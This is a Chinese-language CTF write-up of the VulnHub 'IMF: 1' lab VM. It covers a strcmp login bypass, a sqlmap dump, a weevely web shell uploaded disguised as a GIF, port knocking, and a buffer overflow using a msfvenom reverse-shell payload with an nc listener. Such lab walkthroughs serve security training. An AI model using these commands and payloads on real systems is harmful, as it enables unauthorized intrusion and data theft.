VulnHub-IMF: 1 靶场渗透测试

时间:2021.2.17

靶场信息:
地址:https://www.vulnhub.com/entry/imf-1,162/
发布日期:2016年10月30日 
目标:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。 国际货币基金组织是一个情报机构,您必须破解它以获取所有标志并最终扎根。 这些标志起步容易,随着您的前进而变得越来越难。 每个标志都包含下一个标志的提示。 我希望您喜欢这个虚拟机并学到一些东西。 

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210217155241872

由探测的结果可知,靶机的IP为192.168.137.132

2、扫描开放的端口和服务

nmap -sS -sV -T5 -A -p- 192.168.137.135

image-20210217155523672

得到开放的端口信息:

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

3、网站信息收集

由于开放了80端口,打开浏览器访问一下

image-20210217203235696

在点击Contact us的源代码里找到了flag1

image-20210217203415829

flag1{YWxsdGhlZmlsZXM=} 

flag里面像是base64密文,我们解密得到allthefiles,继续找找看还有没有遗漏的base64密文

image-20210217203700660

这三个js的文件名看着都挺像base64密文,我们挨个解密,发现解不出来,那我们拼接起来看看

ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

解密之后得到flag2

flag2{aW1mYWRtaW5pc3RyYXRvcg==}

同样对flag里面的字符串解密得到imfadministrator,对于这两个flag里面的明文可能是留给我们的文件名,我们访问看看

image-20210217204010251

image-20210217204024775

imfadministrator的源代码里留下了一句话,查看该页面源代码,可以得到提示信息, 也就是说通常使用==和strcmp在php中进行比较区分不同大小写字符串,但是strcmp有个特点,就是当字符串和数组进行比较时,函数返回0,我们这里可以将pass换成pass[],很巧妙的绕过了!

image-20210217204148102

我们回到最初页面看看contact us里再找找看有没有有用的信息,在页面的下方发现了三个用户

image-20210217204338340

分别是rmichaels、akeith、estone,回到刚刚那个登录界面,我们用BurpSuite抓包

image-20210217204908277

通过将密码字段名称更改为pass[],用admin、administrator、imfadministrator作为账号返回数值都和测试账号一样,然后用rmichaels当用户名进行提交

image-20210217205218651

登录成功得到flag3,同样base64解密得到continueTOcms

flag3{Y29udGludWVUT2Ntcw==}

image-20210217210408357

继续点击查看,这里用sqlmap看看可不可以注入

image-20210217210548040

二、漏洞探测

先用burpsuite抓包,并保存,然后用sqlmap

sqlmap -r page.txt --risk=3 --dbs --dump --batch --threads=10

image-20210217211109728

发现表中pagedata字段里面有图片的路径,我们打开看看

image-20210217211701227

发现有个二维码,扫一扫发现flag4,解密得到uploadr942.php

flag4{dXBsb2Fkcjk0Mi5waHA=}

三、漏洞利用

访问http://192.168.137.135/imfadministrator/uploadr942.php

image-20210217212236850

发现这里可以上传文件,这里直接用weevely这款工具,使用可以参考:

weevely工具使用详解

先生成一个后门的php进行上传

image-20210217214156111

这里上传php失败了

image-20210217214232546

将php文件改为gif,成功上传,上传完后查看源代码

image-20210217215410867

image-20210217215350351

上传成功后,进行连接

weevely http://192.168.137.135/imfadministrator/uploads/d064f1d8f530.gif hello

image-20210217215818228

查看flag5,解密得到agentservices,字面意思是代理服务

flag5{YWdlbnRzZXJ2aWNlcw==}

我们找找看看有什么和agent相关的文件

image-20210217220217041

这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件,查看之后,发现有代理在执行,端口7788也有代理在执行

image-20210217220410685

image-20210217220544246

到/usr/local/bin目录下查看access_codes发现端口序列:7482 8279 9467,这边使用knock敲门(基于python3 就是撬开端口的意思)

git clone https://github.com/grongor/knock.git

image-20210217221207137

这样就敲开了靶机的7788端口,前面我们运行/usr/local/bin目录下的agent会需要输入ID,这边我们从agent文件下手,先把他传到kali本地

file_download /usr/local/bin/agent /root/agent

image-20210217222327724

这边查看到agent是ELF32位文件,将文件提权后执行,随意输入任意ID,ID不对退出后,使用ltrace(跟踪进程调用库函数的情况)查看agent信息

image-20210217223712571

这边获得了正确的ID,48093572

image-20210217223951294

四、提权

要通过缓冲区溢出7788端口的agent程序,这边用二进制修改exp为该程序创建一个利用程序,首先我们为msfvenom有效负载创建一个shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.137.150 LPORT=6666 -f python -b "\x00\x0a\x0d"

image-20210217225101404

将文件写入本地agentsploit.py中,利用二进制py修改exp进行提权

image-20210217225206620

然后本地 nc -lnvp 6666

image-20210217225552167

连接成功,获得flag6,解码为:Gh0stProt0c0ls

flag6{R2gwc3RQcm90MGMwbHM=}

image-20210217225538005

总结

前面的flag还挺好找的,到了后面关于缓冲区溢出方面的难度就很大,接触的比较少,也是自己薄弱的地方,还需要大量的时间去理解。

posted @ 2021-02-17 23:12  l2sec  阅读(679)  评论(0编辑  收藏  举报